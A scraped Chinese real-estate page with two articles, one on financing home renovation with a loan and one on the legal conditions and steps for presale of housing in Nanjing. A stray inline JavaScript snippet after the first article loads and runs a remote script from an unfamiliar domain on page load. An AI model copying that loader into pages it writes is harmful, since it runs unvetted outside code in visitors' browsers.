装修可以按揭吗-装修费用解决了

​由于房价越来越高，许多人不得不攒够钱买房子，但也面临房屋装修的问题，尤其是那些买房子时已经办理过住房贷款的人，也没有多余的资金来装修房子。那么，装修可以按揭吗？下面一起来了解一下。装修可以按揭吗？个人房屋装修按揭说的是银行给居民发放人民币贷款，主要是用于自家房屋装修、用于家庭装修和维修工程、相关装修材料、厨房和卫生设备等的建设费用。如果要申请房屋装修贷款，贷款金额不能超过装修合同总价值的80%，贷款期限一般不超过5年。此外，还要有证明表示，住房总支出不能超过家庭总收入的50%。装修可以按揭吗？应当具备下列条件：（一）必须要有在城镇有有效居民身份证或者有常住户口本；（二）房屋所有权证书或者房屋单位借款人签发的房屋使用权证书；要装修的房屋的产权必须是属于自己的，所以需要有产权证书；如果房子是公司的，那就需要有公司的房子所有权证书。（三）要有稳定的工作和收入，还要信用良好，证明出你有按时偿还贷款本金和利息的能力。装修可以按揭吗？申请按揭所需的资料（一）合法身份证（居民身份证、户籍册或者其他有效居留证件）的原件和副本；（二）房屋产权证明或者以借款人的名义使用房屋的权利证明；（三）要有房屋装修工程建设合同；（四）单位出具的经济收入证明；（五）属于抵押贷款的，需要有质押清单、抵押财产产权证明、经处置机关同意的证明文件和抵押财产评估报告。（六）还要提供保证人的担保书、信用证明的书面文件；申请人所需要装修的房子也可以作为抵押财产，原则上已将抵押房屋抵押给银行，不再用于抵押申请，装修可以按揭吗？还没有得到房屋产权证的也可以。不过，有些银行会向其按揭客户提供装修贷款，装修可以按揭吗？即使房屋是按揭，也可以用来申请装修贷款。装修可以按揭吗？答案是可以的，现在有好多新贷款产品，有一种翻新的产品，就是在银行抵押贷款后，还能再申请翻新贷款，但要注意的是装修所需要贷款的钱，与抵押的那个房屋所值的钱，还有抵押贷款没有还完的钱都是有一定的关系的。提供的财产或资产越多，申请抵押的贷款会越容易。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

南京商品房预售条件和步骤有哪些?

商品房预售是现在很多开发商都会采取的销售形式，主要是为了筹集建设资金。那么，2016年商品房预售有哪些条件?开发商满足哪些条件才能进行商品房预售?商品房预售的步骤有哪些?下面小编为大家介绍南京商品房预售条件和步骤!一、南京商品房预售条件及步骤房屋预售虽然是一种可行的销售方式，但如果管理不善，极易导致投机行为，损害消费者的正当权益。为此，《中华人民共和国城市房地产管理法》(以下全书简称《城市房地产管理法》)专门对房屋预售的条件作出了规定。根据该法第四十四条第一款的规定，房屋预售应当符合下列条件：第一，已交付全部土地使用权出让金，取得土地使用权证书。此项规定是商品房预售的基础。因为只有土地使用权是合法的，在土地上所建的房屋才能合法地进入流通领域，从而达到预售的目的。第二，持有建设工程规划许可证。此项规定是房屋开工建设的前提。城市任何建设项目都得置于城市的总体规划之下，房屋建设也不例外。房地产开发企业只有在其建设项目符合城市规划，领取建设工程规划许可证后才能开工建设。第三，按提供预售的房屋计算，投入开发建设的资金达到工程建设总投资的25%以上，并已经确定施工进度和竣工交付日期。此项规定是房屋预售的关键性问题。第四，向县级以上人民政府房产管理部门办理预售登记，取得商品房预售许可证明。二、南京房屋预售一般应经过以下步骤第一，预售人领取土地使用证、建设工程规划许可证;第二，预售人办理预售登记，领取预售许可证;第三，预售人同预购人签订商品房预售合同;第四，预售合同登记备案;第五，房屋交付后，办理产权登记。三、南京商品房预售应当符合下列条件：(一)已交付全部土地使用权出让金，取得土地使用权证书;(二)持有建设工程规划许可证和施工许可证;(三)按提供预售的商品房计算，投入开发建设的资金达到工程建设总投资的25%以上，并已经确定施工进度和竣工交付日期;(四)取得商品房预售许可证。依据《城市商品房预售管理办法》的规定，商品房预售实行许可证制度。房地产开发企业在具备前三个条件的情况下，向市、县人民政府建设行政主管部门或房地产行政主管理部门申请《商品房预售许可证》，取得《商品房预售许可证》。未取得者，不得进行商品房预售活动。以上就是小编为大家整理的商品房预售条件的相关内容，希望对大家有所帮助。在购买商品房时不仅仅需要注意预售条件，还要注意如何确定商品房预售效力，商品房买卖违约要承担什么责任?了解这些能够对购房者有着更大的帮助。